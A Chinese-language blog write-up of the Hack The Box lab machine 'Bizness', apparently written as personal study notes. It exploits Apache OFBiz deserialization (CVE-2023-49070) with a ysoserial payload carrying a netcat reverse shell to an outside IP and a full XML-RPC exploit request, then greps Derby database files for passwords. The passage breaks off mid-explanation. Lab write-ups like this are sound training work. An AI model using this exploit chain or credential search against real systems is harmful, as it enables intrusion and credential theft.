htb bizness复盘 | Flowww's blog

靶机信息

地址：https://app.hackthebox.com/machines/Bizness

难度：easy

IP：10.10.11.252

信息搜集

端口扫描，扫到22 80 443 40081端口，先看80端口，需要配置hosts文件

1	echo '10.10.11.252 bizness.htb' >> /etc/hosts

然后访问网页，翻到最下面发现是apache ofbiz

查询到有相关漏洞，反序列化命令执行漏洞 CVE-2023-49070，在网上找到poc，按照poc使用

先下载ysoserial.jar生成base64的payload

1	java -jar ysoserial-all.jar CommonsBeanutils1 'nc -e /bin/bash 10.10.16.19 8888' \| base64 \| tr -d "\n"

然后发包

GET /id
webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: bizness.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=42ED2921E0C9B3F3BB49F2D2D2F4030A.jvm1; JSESSIONID=21613FA6F2D87CC9AF8B6AC6A4DF1FF7.jvm1; OFBiz.Visitor=10639
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 4157

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">生成的paylpad</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

成功拿到第一个shell

提权

涉及的知识点没见过，记录一下

通过搜索，找到/opt/ofbiz/runtime/data/derby/ofbiz/seg0目录下有很多.dat文件，derby是个小型数据库

1	cat * \| grep -arin -o -E '(\w+\W+){0,5}password(\W+\w+){0,5}'

(\w+\W+){0,5}：这是一个正则表达式，用于匹配最多五个字母/数字和非字母/数字字符的序列。\w+ 匹配一个或多个字母/数字字符，\W+ 匹配一个或多个非字母/数字字符，{0,5} 表示该序列最多重复匹配 0 到 5 次。
password：这是正则表达式中的一个具体词汇，表示要匹配的密码。